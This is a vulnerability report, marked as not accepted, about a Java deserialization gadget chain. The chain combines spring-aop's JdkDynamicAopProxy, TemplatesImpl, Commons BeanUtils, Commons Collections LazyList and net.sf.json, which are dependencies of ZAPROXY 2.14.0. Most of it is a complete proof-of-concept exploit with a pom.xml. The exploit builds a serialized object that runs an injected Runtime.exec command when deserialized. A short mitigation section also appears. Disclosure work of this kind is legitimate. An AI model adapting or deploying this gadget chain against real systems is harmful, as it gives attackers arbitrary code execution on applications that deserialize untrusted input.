# (Not Accepted) Vulnerability Details - Potential Command Execution via Deserialization Exploit Chain in Specific Component Combinations # Vulnerability Description A critical vulnerability has been identified in ZAPROXY version 2.14.0 stemming from its dependency components(i.e. net.sf.json and org.apache.commons.beanutils)' interaction with spring-aop, resulting in a novel deserialization gadget chain. This gadget chain potentially enables remote attackers to execute arbitrary commands on the affected system. The vulnerability arises due to a new deserialization gadget chain involving the JdkDynamicAopProxy class from the spring-aop library. This chain leverages the JdkDynamicAopProxy class to proxy instances of TemplatesImpl, leading to a scenario where the getOutputProperties method of TemplatesImpl can be invoked in a controlled manner when `WrapDynaBean.get()` method is triggered. This controlled invocation facilitates the execution of malicious code through the deserialization process. A crucial element of this exploit chain is the reliance on the serialization capabilities of components from the Apache Commons Collections library. Specifically, the vulnerability manipulates the factory.create() process within LazyList instances to execute the gadget chain successfully. The exploitation of this vulnerability requires the environment to permit the serialization of Apache Commons Collections components, underscoring the complexity and specificity of the attack vector. It is highly recommended to review and update the dependency components of ZAPROXY to versions that do not support the described deserialization gadget chain. Additionally, limiting or disabling the serialization capabilities of the Apache Commons Collections library within the application's environment can mitigate the risk associated with this vulnerability. Organizations are advised to follow secure coding practices and implement robust deserialization filters to protect against similar deserialization vulnerabilities. # Verification Demonstration ## Vulnerability demo ![image](https://hackmd.io/_uploads/Bkar09K0p.png) ![1711022209974poc.gif](https://raw.githubusercontent.com/fe1w0/ImageHost/main/image/1711022209974poc.gif) ## Components version ZAPROXY 2.14.0 ## Verification The POC is following: ```java import cn.hutool.core.util.SerializeUtil; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import net.sf.json.JSONArray; import org.apache.commons.beanutils.WrapDynaBean; import org.apache.commons.collections.Factory; import org.apache.commons.collections.list.LazyList; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource; import javax.xml.transform.Templates; import java.io.Serializable; import java.lang.reflect.*; import java.util.*; /** * Demonstrates a proof of concept for exploiting Java serialization vulnerabilities. * This example triggers the calculator app indicating successful arbitrary code execution. * * @author fe1w0 * @date 2024/03/20 16:30 * @Project Poc-zaproxy */ public class Demo { public static void main(String[] args) throws Exception { // Instantiate the TemplatesImpl class from the Apache Xalan library. TemplatesImpl template = new TemplatesImpl(); Class<?> templateClass = template.getClass(); // Reflectively access private fields of the TemplatesImpl class. Field byteCodesField = templateClass.getDeclaredField("_bytecodes"); Field nameField = templateClass.getDeclaredField("_name"); Field tFactoryField = templateClass.getDeclaredField("_tfactory"); Field outputPropertiesField = templateClass.getDeclaredField("_outputProperties"); // Make the fields accessible to bypass Java access control checks. byteCodesField.setAccessible(true); nameField.setAccessible(true); tFactoryField.setAccessible(true); outputPropertiesField.setAccessible(true); // The command to be executed, opening the calculator application. String command = "open -a Calculator.app"; // Set the bytecode for the template to our malicious payload. byteCodesField.set(template, new byte[][]{getBytesFromJavassist(command)}); nameField.set(template, ""); tFactoryField.set(template, new TransformerFactoryImpl()); outputPropertiesField.set(template, new Properties()); // Use Spring's AOP proxy mechanism to wrap our template in a proxy that bypasses security checks. Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(template); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); // Create the proxy instance. Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); // Wrap the proxy object with Apache Commons Beanutils, further obfuscating the malicious object. WrapDynaBean b = new WrapDynaBean(proxyObj, null); // Setup for serialization attack vector. Constructor constructor = Class .forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory") .getDeclaredConstructor(Serializable.class); constructor.setAccessible(true); // Create a factory for our wrapped bean, facilitating the serialization attack. Factory factory = (Factory) constructor.newInstance(b); // Prepare a JSON array and manipulate its underlying storage to bypass certain security checks. JSONArray listOfLazyList = new JSONArray(); List list = new ArrayList(); // Bypass checks by initializing the list with a null element. list.add(null); Field elementsField = listOfLazyList.getClass().getDeclaredField("elements"); elementsField.setAccessible(true); elementsField.set(listOfLazyList, list); // Use LazyList to further obfuscate the attack, making it harder to detect. Constructor c_lazyList = LazyList.class.getDeclaredConstructor(List.class, Factory.class); c_lazyList.setAccessible(true); LazyList lazyList = (LazyList) c_lazyList.newInstance(listOfLazyList, factory); // Final payload setup, manipulating another JSON array. JSONArray finalArray = new JSONArray(); Field finalElementsField = finalArray.getClass().getDeclaredField("elements"); finalElementsField.setAccessible(true); finalElementsField.set(finalArray, lazyList); HashMap map = new HashMap(); // Additional manipulation to ensure the payload is correctly triggered upon deserialization. JSONArray otherArray = new JSONArray(); Field finalElementsFieldOther = otherArray.getClass().getDeclaredField("elements"); finalElementsFieldOther.setAccessible(true); finalElementsFieldOther.set(otherArray, lazyList); // Utilizing HotSwappableTargetSource to dynamically swap our payload. HotSwappableTargetSource s = new HotSwappableTargetSource(finalArray); HotSwappableTargetSource v = new HotSwappableTargetSource(otherArray); // Access and manipulate internal HashMap storage to ensure payload delivery. Field f2 = HashMap.class.getDeclaredField("table"); f2.setAccessible(true); // Initial setup to avoid direct vulnerability trigger during map put operations. map.put("fe1w0", "test"); // Manipulate the internal storage of HashMap to insert our malicious proxy object. Object[] array = (Object[]) f2.get(map); int index = 7; for (int i = 0 ; i < array.length ; i++) { if (array[i] != null) { index = i; break; } } map.put(v, v); System.out.println(index); Object node = array[index]; Field keyField = node.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(node, s); System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); // Generate Serialized bytes/ byte[] bytes = SerializeUtil.serialize(map); // Using Serialized bytes to check deserialization vulnerability. Object o = SerializeUtil.deserialize(bytes); } public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static byte[] getBytesFromJavassist(String command) throws Exception{ ClassPool pool = ClassPool.getDefault(); // StubTransletPayload extends AbstractTranslet pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("fe1w0.Payload" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); return classBytes; } } ``` pom.xml ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>xyz.xzaslxr</groupId> <artifactId>zaproxy</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!-- Setting and generating bytes requires Hutool and javassist dependencies. --> <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.26</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency> <!-- The following dependencies are required in this problem. --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.32</version> </dependency> <dependency> <groupId>org.zaproxy</groupId> <artifactId>zap</artifactId> <version>2.14.0</version> </dependency> </dependencies> </project> ```